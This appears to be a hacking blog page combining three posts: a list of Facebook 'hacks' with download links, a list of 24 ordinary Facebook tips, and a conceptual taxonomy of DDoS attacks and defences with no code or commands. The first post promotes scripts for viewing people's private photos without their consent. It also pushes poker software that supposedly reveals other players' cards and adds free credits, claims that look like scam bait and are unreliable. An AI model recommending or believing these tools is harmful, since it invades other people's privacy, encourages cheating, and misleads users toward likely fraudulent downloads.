I have collected the Most Essential Hacks and Tricks of Facebook and presented them to you. I recently wrote about 24 Facebook tricks, you might consider reading that before this.

1.How to View the Album of Any User Even if it is Private

You can use this hack script to view a photo in the original album, even if you’re not friends with the person.

Get it Here

2. How to Remove Annoying Facebook Advertisement

Get rid of some of the Facebook advertising and sponsored by sections with this tool.

Get it Here

3. How to see Real Profiles from Public Pages

This hack script redirects to real profiles from the Facebook people pages (public profiles). There is a risk of an infinite redirect loop if not logged in, so be logged in.

Get it Here

4. How to Undo Facebook Changes

If you hate some or all of the new Facebook changes, undo them with these scripts and use what you liked previously.

Get it Here

5. How to View All the Photos from a Person

You can search for pictures of a Facebook member who has tight privacy settings and view all his/ her pictures without his/ her consent.

Get it Here


6. How to Find More Friends at Facebook

Suppose some of your friends have newly joined Facebook and you didn’t even knew. Use this hack and it will help you go through your friends’ friends list and find them out.

Get it Here

7. How to Share Files from Facebook

With this box widget, you can share files from your computer through Facebook. Isn’t this trick great?

Get it Here

8. How to Get a Job from Facebook

Looking for a job? This application gives Facebook users unique access to job information, networking opportunities and other career resources.

Get it Here


9. How to Tighten up the Privacy and still Maintain Communication Convenience

The Private Wall combines the best of both worlds of Facebook: online convenience and communication with more serious privacy settings.

Get it Here

10 How to Cheat Facebook Texas Hold em Poker

This is one of my Favorite hacks and that is why I have saved it for the last one. Using this software you can see the cards of any player and the advanced version of this software allows you to even add credits to your account for free, this trick is awesome and my peak of them all.

Get it Here

Author: dfgdfg,

Categories: Hacking Tricks, Social Media

24 Great Facebook Tricks and Hacks

1. Hide Your Online Status From Selected Friends:

So you want to use Facebook chat but don’t want some people to see your online status? Simply open up the Facebook Chat and click on Friends List. Start creating a new list called BlockList.

Once the list is created, add those friends to the list that you want to appear offline to. When the list is complete, hover your mouse to the little green icon adjacent to the list and click Go Offline. Bingo! You will now appear offline to everybody in the BlockList.

2. View a Friend’s Profile Without Messy Applications:

If you are like me, you often get annoyed by the dozens of silly applications that people have added to their profile. Here’s a Grease Monkey script that allows you to view any profile without all those applications. Remember: the Mozilla Firefox web browser is a prerequisite for running Greasemonkey.

3. Display Your Facebook Status On Your WordPress Blog:

Want to display your Facebook status updates on your WordPress blog? There is a plugin that does exactly that. StatusPress lets you display your status updates to a widget on your WordPress blog.

4. Access Facebook Chat Through Your Desktop:

No need to go to Facebook.com if all you want to do is use Facebook chat. You can do it right from your desktop using clients like social.im , Adium or ChitChat.

5. Update Facebook Status From Firefox:

If you are a firefox addict you don’t need to use any other software to update your Facebook status. Simply install the FireStatus add-on and update your status right from your browser. You can also use the Facebook Toolbar to completely manage Facebook from your Firefox browser.

6. Create A Photo Collage From Pictures Of Your Facebook Friends:

Easily create a photo collage from profile pictures of all your Facebook friends using a simple Facebook app called Photo Collage.

7. Add A New friend But Hide It From Your Status Update:

A great tutorial by Tim Watson walks you through the process of hiding specific actions from your status updates.

8. Schedule Facebook Messages To Be Send Later:

If you want to schedule your Facebook messages to be send sometime in the future, Sendible is a great tool to do that. You can also use Sendible to schedule your status updates.

9. How To Share Flickr Photos On Facebook:

My Flickr is a Facebook application that lets you display your Flickr photos and photo sets on Facebook so your friends can view and comment on them without leaving Facebook.

10. How To Download Facebook Photo Albums:

Ever felt the need to download complete photo albums from Facebook. You can easily do it with either a Windows desktop application named FotoBounce or a great Firefox add-on FacePad.

11. Upload Photos On Facebook From Your Phone:

All the smart phones like iPhone and Blackberry make it simple to upload photos to your Facebook account but how would you do it if you have a regular phone? Here is a great tutorial to walk you through that.

12. Magic Circles On Facebook:

You might have heard about the Konami code that makes red blurry circles on your Facebook page. This might be one of the most popular Facebook hidden tricks. Here’s how to do it:

Press Up, Up, Down, Down, Left, Right, Left, Right, B, A, Enter key then press up & down & Magic circles will appear!

To stop them simply reload your page.

13. Use Your Facebook Like A Pirate:

Do you love talking like a pirate? You can set your Facebook to appear like a pirate page by going into Current Language Settings and setting it to English (Pirate).

14. How To Insert Cool Symbols In Your Status Updates:

Make your status updates interesting by inserting cool symbols. Simply copying them from this list and pasting in your status updates.


15. Automatically Poke Friends That Poke You:

Don’t have enough time to poke back friends who poke you on Facebook? Automate it with a Grease Monkey script called Facebook Autopoke.

16. Upload Photos From PicasaTo Facebook:

Upload photos to your Facebook account directly from Picasa using the Picasa app for Facebook. You can also upload the Picasa captions and resize your photos before uploading them to Facebook.

17. Search Facebook Like A Pro:

Not everybody knows how powerful Facebook search is. Similar to any large search engine, Facebook search has a lot of advanced options to help you search like a pro. For example if you are looking for a person named John Marsh and filter your results down to only people who are married, you can try name: John Marsh status:married. A complete list of search tips for Facebook can be found here.

18. How To Update Facebook Status From Gmail:

Facebook gadget for Gmail allows you to update your Facebook status right from your Gmail.

19. How To Access Gmail From Facebook:

If you seldom have to leave Facebook just to go check your Gmail inbox, check out Fmail. It is a great application that lets you check your Gmail from within your Facebook inbox.

20. See Facebook Twitter style:

If you love Twitter more than Facebook, you can view your Facebook just like you view your Twitter using this grease monkey script.

21. Import Facebook Friends To Twitter:

FB140 is a simple tool that lets you find all your Facebook friends that are using Twitter so you can easily follow them.

22. Access Facebook From Microsoft Outlook:

This is a great tip for people attending colleges or working in places that block Facebook, but allow you access to Microsoft Outlook. Simple install the FBlook plugin and access Facebook from Outlook.

23. Display Your Facebook Status Upside Down:

This is a cool and fun trick. To display upside down status updates, simply head over to FlipText and type in your status. Then simply click on Flip Text and copy-paste the upside down text into your Facebook status box.

24. Update Facebook Status Using Twitter:

Wouldn’t you love to update your status on both Facebook and Twitter at the same time. Just install the Twitter application for Facebook. Once synced, your tweets including the #fb tag would automatically be posted as status updates on your Facebook.

Author: dfgdfg,

Categories: Cool, Ethical Hacking, Facebook Hacks, Facebook Tips, Facebook Tricks, Go Hacking, Hacking, Hacking Tricks, Pro Hacking Tricks, Social Media

DDoS Attacks and DDoS Defense Mechanisms

Introduction

Distributed denial-of-service attacks (DDoS) pose an immense threat to the Internet, and consequently many defense mechanisms have been proposed to combat them. Attackers constantly modify their tools to bypass these security systems, and researchers in turn modify their approaches to handle new attacks.The DDoS field is evolving quickly, and it is becoming increasingly hard to grasp a global view of the problem.

DDoS Attack Overview

A denial-of-service attack is characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service. A distributed denial-of-service attack deploys multiple machines to attain this goal. The service is denied by sending a stream of packets to a victim that either consumes some key resource, thus rendering it unavailable to legitimate clients, or provides the attacker with unlimited access to the victim machine so he can inflict arbitrary damage. This section will answer the following questions:

1. What makes DDoS attacks possible?
2. How do these attacks occur?
3. Why do they occur?

Internet Architecture

The Internet is managed in a distributed manner; therefore no common policy can be enforced among its participants.Such design opens several security issues that provide opportunities for distributed denial-of-service attacks:

1. Internet security is highly interdependent. DDoS attacks are commonly launched from systems that are subverted through security related compromises. Regardless of how well secured the victim system may be, its susceptibility to DDoS attacks depends on the state of security in the rest of the global Internet.

2. Internet resource is limited. Each Internet host has limited resources that can be consumed by a sufficient number of users.

3. Power of many is greater than power of few. Coordinated and simultaneous malicious actions by some participants can always be detrimental to others, if the resources of the attackers are greater than the resources of the victims.

4. Intelligence and resources are not collocated an end-to-end communication paradigm led to locating most of the intelligence needed for service guarantees with end hosts. At the same time, a desire for large throughput led to the design of high bandwidth pathways in the intermediate network. Thus, malicious clients can misuse the abundant resources of unwitting network for delivery of numerous messages to a victim.

DDoS Attack Strategy

In order to perform a distributed denial-of-service attack, the attacker needs to recruit the multiple agent (slave) machines. This process is usually performed automatically through scanning of remote machines, looking for security holes that would enable subversion. Vulnerable machines are then exploited by using the discovered vulnerability to gain access to the machine, and they are infected with the attack code. The exploit/infection phase is also automated, and the infected machines can be used for further recruitment of new agents .Agent machines perform the attack against the victim. Attackers usually hide the identity of the agent machines during the attack through spoofing of the source address field in packets. The agent machines can thus be reused for future attacks.

DDoS Goals

The goal of a DDoS attack is to inflict damage on the victim, either for personal reasons (a significant number of DDoS attacks are against home computers, presumably for purposes of revenge), for material gain (damaging competitor’s resources) or for popularity (successful attacks on popular Web servers gain the respect of the hacker community).

Taxonomy of DDoS Attacks

In order to devise a taxonomy of distributed denialof- service attacks we observe the means used to prepare and perform the attack, the characteristics of the attack itself and the effect it has on the victim. Various classification criteria are indicated in bold type. Figure 1 summarizes the taxonomy.

Classification by Degree of Automation

During the attack preparation, the attacker needs to locate prospective agent machines and infect them with the attack code. Based on the degree of automation of the attack, we differentiate between manual, semi-automatic and automatic DDoS attacks.

Manual Attacks

Only the early DDoS attacks belonged to the manual category. The attacker scanned remote machines for vulnerabilities, broke into them and installed the attack code, and then commanded the onset of the attack. All of these actions were soon automated, leading to development of semiautomatic DDoS attacks, the category where most contemporary attacks belong.

Semi-Automatic Attacks
In semi-automatic attacks, the DDoS network consists of handler (master) and agent (slave, daemon) machines. The attacker deploys automated scripts for scanning and compromise of those machines and installation of the attack code. He then uses handler machines to specify the attack type and the victim’s address and to command the onset of the attack to agents, who send packets to the victim. Based on the communication mechanism deployed between agent and handler machines we divide semi-automatic attacks into attacks with direct communication and attacks with indirect communication.

Attacks with direct communication

During attacks with direct communication, the agent and handler machines need to know each other’s identity in order to communicate. This is achieved by hard-coding the IP address of the handler machines in the attack code that is later installed on the agent. Each agent then reports its readiness to the handlers, who store its IP address in a file for later communication. The obvious drawback of this approach is that discovery of one compromised machine can expose the whole DDoS network. Also, since agents and handlers listen to network connections, they are identifiable by network scanners.

Attacks with indirect communication

Attacks with indirect communication deploy a level of indirection to increase the survivability of a DDoS network.Recent attacks provide the example of using IRC channels for agent/handler communication. The use of IRC services replaces the function of a handler, since the IRC channel offers sufficient anonymity to the attacker. Since DDoS agents establish outbound connections to a standard service port used by a legitimate network service, agent communications to the control point may not be easily differentiated from legitimate network traffic. The agents do not incorporate a listening port that is easily detectable with network scanners. An attacker controls the agents using IRC communications channels. Thus, discovery of a single agent may lead no further than the identification of one or more IRC servers and channel names used by the DDoS network. From there, identification of the DDoS network depends on the ability to track agents currently connected to the IRC server. Although the IRC service is the only current example of indirect communication, there is nothing to prevent attackers from subverting other legitimate services for similar purposes.

Automatic Attacks

Automatic DDoS attacks additionally automate the attack phase, thus avoiding the need for communication between attacker and agent machines. The time of the onset of the attack,
attack type, duration and victim’s address is preprogrammed in the attack code. It is obvious that such deployment mechanisms offer minimal exposure to the attacker, since he is only involved in issuing a single command – the start of the attack script. The hard coded attack specification suggests a single-purpose use of the DDoS network. However, the propagation mechanisms usually leave the backdoor to the compromised DDoS machine open, enabling easy future access and modification of the attack code. Both semi-automatic and automatic attacks recruit the agent machines by deploying automatic scanning and propagation techniques. Based on the scanning strategy, we differentiate between attacks that deploy random scanning, hit list scanning, topological scanning, permutation scanning and local subnet scanning. Attackers usually combine the scanning and exploitation phases, thus gaining a larger agent population, and my description of scanning techniques relates to this model.

Attacks with Random Scanning

During random scanning each compromised host probes random addresses in the IP address space, using a different seed. This potentially creates a high traffic volume since many machines probe the same addresses. Code Red (CRv2) performed random scanning .

Attacks with Hitlist Scanning

A machine performing hitlist scanning probes all addresses from an externally supplied list. When it detects the vulnerable machine, it sends one half of the initial hitlist to the recipient and keeps the other half. This technique allows for great propagation speed (due to exponential spread) and no collisions during the scanning phase. An attack deploying hitlist scanning could obtain the list from netscan.org of domains that still support directed IP broadcast and can thus be used for a Smurf attack.

Attacks with Topological Scanning

Topological scanning uses the information on the compromised host to select new targets. All mail worms use topological scanning, exploiting the information from address books for their spread.

Attacks with Permutation Scanning

During permutation scanning, all compromised machines share a common pseudo-random permutation of the IP address space; each IP address is mapped to an index in this permutation. A machine begins scanning by using the index computed from its IP address as a starting point. Whenever it sees an already infected machine, it chooses a new random start point. This has the effect of providing a semi coordinated, comprehensive scan while maintaining the benefits of random probing. This technique is described in as not yet deployed.

Attacks with Local Subnet Scanning

Local subnet scanning can be added to any of the previously described techniques to preferentially scan for targets that reside on the same subnet as the compromised host. Using this technique, a single copy of the scanning program can compromise many vulnerable machines behind a firewall. Code Red II and Nimda Worm used local subnet scanning. Based on the attack code propagation mechanism, we differentiate between attacks that deploy central source propagation, back-chaining propagation and autonomous propagation .

Attacks with Central Source Propagation

During central source propagation, the attack code resides on a central server or set of servers.
After compromise of the agent machine, the code is downloaded from the central source through a file transfer mechanism. The 1i0n worm operated in this manner.

Attacks with Back-chaining Propagation

During back-chaining propagation, the attack code is downloaded from the machine that was used to exploit the system.The infected machine then becomes the source for the next propagation step. Back-chaining propagation is more survivable than central-source propagation since it avoids a single point of failure. The Ramen worm and Morris Worm used backchaining propagation.

Attacks with Autonomous Propagation

Autonomous propagation avoids the file retrieval step by injecting attack instructions directly into the target host during the exploitation phase. Code Red, Warhol Worm and numerous E-mail worms use autonomous propagation.

Classification by Exploited Vulnerability

Distributed denial-of-service attacks exploit different strategies to deny the service of the victim to its clients. Based on the vulnerability that is targeted during an attack, we differentiate between protocol attacks and brute-force attacks.

Protocol Attacks

Protocol attacks exploit a specific feature or implementation bug of some protocol installed at the victim in order to consume excess amounts of its resources. Examples include the TCP SYN attack, the CGI request attack and the authentication server attack. In the TCP SYN attack, the exploited feature is the allocation of substantial space in a connection queue immediately upon receipt of a TCP SYN request. The attacker initiates multiple connections that are never completed, thus filling up the connection queue indefinitely. In the CGI request attack, the attacker consumes the CPU time of the victim by issuing multiple CGI requests. In the authentication server attack, the attacker exploits the fact that the signature verification process consumes significantly more resources than bogus signature generation. He sends numerous bogus authentication requests to the server, tying up its resources.

Brute-force Attacks

Brute-force attacks are performed by initiating a vast amount of seemingly legitimate transactions. Since an upstream network can usually deliver higher traffic volume than the victim network can handle, this exhausts the victim’s resources. We further divide brute-force attacks based on the relation of packet contents with victim services into filterable and non-filterable attacks.

Filterable Attacks

Filterable attacks use bogus packets or packets for non-critical services of the victim’s operation, and thus can be filtered by a firewall. Examples of such attacks are a UDP flood attack or an
ICMP request flood attack on a Web server.

Non-filterable Attacks

Non-filterable attacks use packets that request legitimate services from the victim. Thus, filtering all packets that match the attack signature would lead to an immediate denial of the specified service to both attackers and the legitimate clients. Examples are a HTTP request flood targeting a Web server or a DNS request flood targeting a name server. The line between protocol and brute force attacks is thin. Protocol attacks also overwhelm a victim’s resources with excess traffic, and badly designed protocol features at remote hosts are frequently used to perform “reflector” brute-force attacks, such as the DNS request attack or the Smurf attack.

The difference is that a victim can mitigate the effect of protocol attacks by modifying the deployed protocols at its site, while it is helpless against brute-force attacks due to their misuse of legitimate services (non-filterable attacks) or due to its own limited resources (a victim can do nothing about an attack that swamps its network bandwidth). Countering protocol attacks by modifying the deployed protocol pushes the corresponding attack mechanism into the brute-force category. For example, if the victim deploys TCP SYN cookies to combat TCP SYN attacks, it will still be vulnerable to TCP SYN attacks that generate more requests than its network can accommodate.

However, the brute-force attacks need to generate a much higher volume of attack packets than protocol attacks, to inflict damage at the victim. So by modifying the deployed protocols the victim pushes the vulnerability limit higher. Evidently, classification of the specific attack needs to take into account both the attack mechanisms used and the victim’s configuration. It is interesting to note that the variability of attack packet contents is determined by the exploited vulnerability.

Packets comprising protocol and non-filterable brute force attacks must specify some valid header fields and possibly some valid contents. For example TCP SYN attack packets cannot vary the protocol or flag field, and HTTP flood packets must belong to an established TCP connection and therefore cannot spoof source addresses, unless they hijack connections from legitimate clients.

Classification by Attack Rate Dynamics

Depending on the attack rate dynamics we differentiate between continuous rate and variable rate attacks.

Continuous Rate Attacks

The majority of known attacks deploy a continuous rate mechanism. After the onset is commanded, agent machines generate the attack packets with full force. This sudden packet flood disrupts the victim’s services quickly, and thus leads to attack detection.

Variable Rate Attacks

Variable rate attacks are more cautious in their engagement, and they vary the attack rate to avoid detection and response. Based on the rate change mechanism we differentiate between attacks with increasing rate and fluctuating rate.

Increasing Rate Attacks

Attacks that have a gradually increasing rate lead to a slow exhaustion of victim’s resources. A state change of the victim could be so gradual that its services degrade slowly over a long time period, thus delaying detection of the attack.

Fluctuating Rate Attacks

Attacks that have a fluctuating rate adjust the attack rate based on the victim’s behavior, occasionally relieving the effect to avoid detection. At the extreme end, there is the example of pulsing attacks. During pulsing attacks, agent hosts periodically abort the attack and resume it at a later time. If this behavior is simultaneous for all agents, the victim experiences periodic service disruptions. If, however, agents are divided into groups who coordinate so that one group is always active, then the victim experiences continuous denial of service.

Classification by Impact

Depending on the impact of a DDoS attack on the victim we differentiate between disruptive and degrading attacks.

Disruptive Attacks

The goal of disruptive attacks is to completely deny the victim’s service to its clients. All currently known attacks belong to this category.

Degrading Attacks

The goal of degrading attacks would be to consume some (presumably constant) portion of a victim’s resources. Since these attacks do not lead to total service disruption, they could remain undetected for a significant time period.

On the other hand, damage inflicted on the victim could be immense. For example, an attack that effectively ties up 30% of the victim’s resources would lead to denial of service to some percentage of customers during high load periods, and possibly slower average service. Some customers, dissatisfied with the quality, would consequently change their service provider and victim would thus lose income. Alternately, the false load could result in a victim spending money to upgrade its servers and networks.

Taxonomy of DDoS Defense Mechanisms

The seriousness of the DDoS problem and the increased frequency of DDoS attacks have led to the advent of numerous DDoS defense mechanisms. Some of these mechanisms address a specific kind of DDoS attack such as attacks on Web servers or authentication servers. Other approaches attempt to solve the entire generic DDoS problem. Most of the proposed approaches require certain features to achieve their peak performance, and will perform quite differently if deployed in an environment where these requirements are not met.

As is frequently pointed out, there is no “ram ban (means the weapon which never misses the target in hindi)” against DDoS attacks. Therefore we need to understand not only each existing DDoS defense approach, but also how those approaches might be combined together to effectively and completely solve the problem.

Classification by Activity Level

Based on the activity level of DDoS defense mechanisms, we differentiate between preventive and reactive mechanisms.

Preventive Mechanisms

The goal of preventive mechanisms is either to eliminate the possibility of DDoS attacks altogether or to enable potential victims to endure the attack without denying services to legitimate clients. According to these goals we further divide preventive mechanisms into attack prevention and denial-of-service prevention mechanisms.

Attack Prevention Mechanisms

Attack prevention mechanisms modify the system configuration to eliminate the possibility of a DDoS attack. Based on the target they secure, we further divide them into system security and protocol security mechanisms.

System Security Mechanisms

System security mechanisms increase the overall security of the system, guarding against illegitimate accesses to the machine, removing application bugs and updating protocol installations to prevent intrusions and misuse of the system. DDoS attacks owe their power to large numbers of subverted machines that cooperatively generate the attack streams.

If these machines were secured, the attackers would lose their army and the DDoS threat would then disappear. On the other hand, systems vulnerable to intrusions can themselves become victims of DDoS attacks in which the attacker, having gained unlimited access to the machine, deletes or alters its contents. Potential victims of DDoS attacks can be easily overwhelmed if they deploy vulnerable protocols.

Examples of system security mechanisms include monitored access to the machine, applications that download and install security patches, firewall systems, virus scanners, intrusion detection systems, access lists for critical resources, capability-based systems and client-legitimacy-based systems. The history of computer security suggests that this approach can never be 100% effective, but doing a good job here will certainly decrease the frequency and strength of DDoS attacks.

Protocol Security Mechanisms

Protocol security mechanisms address the problem of bad protocol design. Many protocols contain operations that are cheap for the client but expensive for the server. Such protocols can be misused to exhaust the resources of a server by initiating large numbers of simultaneous transactions. Classic misuse examples are the TCP SYN attack, the authentication server attack, and the fragmented packet attack, in which the attacker bombards the victim with malformed packet fragments forcing it to waste its resources on reassembling attempts.

Examples of protocol security mechanisms include guidelines for a safe protocol design in which resources are committed to the client only after sufficient authentication is done , or the client has paid a sufficient price , deployment of powerful proxy server that completes TCP connections , etc. Deploying comprehensive protocol and system security mechanisms can make the victim completely resilient to protocol attacks. Also, these approaches are inherently compatible with and complementary to all other approaches.

Denial-of-service prevention mechanisms enable the victim to endure attack attempts without denying service to legitimate clients. This is done either by enforcing policies for resource consumption or by ensuring that abundant resources exist so that legitimate clients will not be affected by the attack. Consequently, based on the prevention method, we differentiate between resource accounting and resource multiplication mechanisms.

Resource Accounting Mechanisms

Resource accounting mechanisms police the access of each user to resources based on the privileges of the user and his behavior. Such mechanisms guarantee fair service to legitimate well-behaving users. In order to avoid user identity theft, they are usually coupled with legitimacy-based access mechanisms that verify the user’s identity. Approaches proposed in illustrate resource accounting mechanisms.

Resource Multiplication Mechanisms

Resource multiplication mechanisms provide an abundance of resources to counter DDoS threats. The straightforward example is a system that deploys a pool of servers with a load balancer and installs high bandwidth links between itself and upstream routers. This approach essentially raises the bar on how many machines must participate in an attack to be effective. While not providing perfect protection, for those who can afford the costs, this approach has often proven sufficient. For example, Microsoft has used it to weather large DDoS attacks.

Reactive Mechanisms

Reactive mechanisms strive to alleviate the impact of an attack on the victim. In order to attain this goal they need to detect the attack and respond to it. The goal of attack detection is to detect every attempted DDoS attack as early as possible and to have a low degree of false positives. Upon attack detection, steps can be taken to characterize the packets belonging to the attack stream and provide this characterization to the response mechanism. We classify reactive mechanisms based on the attack detection strategy into mechanisms that deploy pattern detection, anomaly detection, hybrid detection, and third-party detection.

Mechanisms with Pattern Attack Detection

Mechanisms that deploy pattern detection store the signatures of known attacks in a database. Each communication is monitored and compared with database entries to discover occurrences of DDoS attacks. Occasionally, the database is updated with new attack signatures. The obvious drawback of this detection mechanism is that it can only detect known attacks, and it is usually helpless against new attacks or even slight variations of old attacks that cannot be matched to the stored signature. On the other hand, known attacks are easily and reliably detected, and no false positives are encountered

Mechanisms with Anomaly Attack Detection

Mechanisms that deploy anomaly detection have a model of normal system behavior, such as a model of normal traffic dynamics or expected system performance. The current state of the system is periodically compared with the models to detect anomalies. Approaches presented in provide examples of mechanisms that use anomaly detection. The advantage of anomaly detection over pattern detection is that unknown attacks can be discovered. However, anomaly-based detection has to address two issues:

1. Threshold setting. Anomalies are detected when the current system state differs from the model by a certain threshold. The setting of a low threshold leads to many false positives, while a high threshold reduces the sensitivity of the detection mechanism.

2. Model update. Systems and communication patterns evolve with time, and models need to be updated to reflect this change. Anomaly based systems usually perform automatic model update using statistics gathered at a time when no attack was detected. This approach makes the detection mechanism vulnerable to increasing rate attacks that can mistrial models and delay or even avoid attack detection.

Mechanisms with Hybrid Attack Detection

Mechanisms that deploy hybrid detection combine the pattern-based and anomaly-based detection, using data about attacks discovered through an anomaly detection mechanism to devise new attack signatures and update the database. Many intrusion detection systems use hybrid detection. If these systems are fully automated, properly extracting a signature from a detected attack can be challenging. The system must be careful not to permit attackers to fool it into detecting normal behavior as an attack signature, or the system itself becomes a denial-of-service tool.

Mechanisms with Third-Party Attack Detection

Mechanisms that deploy third-party detection do not handle the detection process themselves, but rely on an external message that signals the occurrence of the attack and provides attack characterization. Examples of mechanisms that use third-party detection are easily found among trace back mechanisms The goal of the attack response is to relieve the impact of the attack on the victim, while imposing minimal collateral damage to legitimate clients of the victim. I classify reactive mechanisms based on the response strategy into mechanisms that deploy agent identification, rate-limiting, filtering and reconfiguration approaches.

Agent Identification Mechanisms

Agent identification mechanisms provide the victim with information about the identity of the machines that are performing the attack. This information can then be combined with other response approaches to alleviate the impact of the attack. Agent identification examples include numerous trace back techniques and approaches that eliminate spoofing thus enabling use of the source address field for agent identification.

Rate-Limiting Mechanisms

Rate-limiting mechanisms impose a rate limit on a stream that has been characterized as malicious by the detection mechanism. Examples of rate limiting mechanisms are found in Rate limiting is a lenient response technique that is usually deployed when the detection mechanism has a high level of false positives or cannot precisely characterize the attack stream. The disadvantage is that they allow some attack traffic through, so extremely high scale attacks might still be effective even if all traffic streams are rate-limited.

Filtering Mechanisms

Filtering mechanisms use the characterization provided by a detection mechanism to filter out the attack stream completely. Examples include dynamically deployed firewalls , and also a commercial system Traffic Master . Unless detection strategy is very reliable, filtering mechanisms run the risk of accidentally denying service to legitimate traffic. Worse, clever attackers might leverage them as denial-of service tools.

Reconfiguration Mechanisms

Reconfiguration mechanisms change the topology of the victim or the intermediate network to either add more resources to the victim or to isolate the attack machines. Examples include reconfigurable overlay networks, resource replication services, attack isolation strategies etc. Reactive DDoS defense mechanisms can perform detection and response either alone or in cooperation with other entities in the Internet. Based on the cooperation degree we differentiate between autonomous, cooperative and interdependent mechanisms.

Autonomous Mechanisms

Autonomous mechanisms perform independent attack detection and response. They are usually deployed at a single point in the Internet and act locally. Firewalls and intrusion detection systems provide an easy example of autonomous mechanisms.

Cooperative Mechanisms

Cooperative mechanisms are capable of autonomous detection and response, but can achieve significantly better performance through cooperation with other entities. Mechanisms deploying pushback provide examples of cooperative mechanisms. They detect the occurrence of a DDoS attack by observing congestion in a router’s buffer, characterize the traffic that creates the congestion, and act locally to impose a rate limit on that traffic. However, they achieve significantly better performance if the rate limit requests can be propagated to upstream routers who otherwise may be unaware of the attack.

Interdependent Mechanisms

Interdependent mechanisms cannot operate autonomously; they rely on other entities either for attack detection or for efficient response. Traceback mechanisms provide examples of interdependent mechanisms. A traceback mechanism deployed on a single router would provide almost no benefit.

Classification by Deployment Location

With regard to a deployment location, we differentiate between DDoS mechanisms deployed at the victim, intermediate, or source network.

Victim-Network Mechanisms

DDoS defense mechanisms deployed at the victim network protect this network from DDoS attacks and respond to detected attacks by alleviating the impact on the victim. Historically, most defense systems were located at the victim since it suffered the greatest impact of the attack and was therefore the most motivated to sacrifice some resources for increased security. Resource accounting and protocol security mechanisms provide examples of these systems.

Intermediate-Network Mechanisms

DDoS defense mechanisms deployed at the intermediate network provide infrastructural service to a large number of Internet hosts. Victims of DDoS attacks can contact the infrastructure and request the service, possibly providing adequate compensation. Pushback and traceback techniques are examples of intermediate-network mechanisms.

Source-Network Mechanisms

The goal of DDoS defense mechanisms deployed at the source network is to prevent customers using this network from generating DDoS attacks. Such mechanisms are necessary and desirable, but motivation for their deployment is low since it is unclear who would pay the expenses associated with this service. Mechanisms proposed in provide examples of source-network mechanisms.

Author: dfgdfg,

Categories: DDos Attack, Ethical Hacking, Hacking, Hacking Tricks, Pro Hacking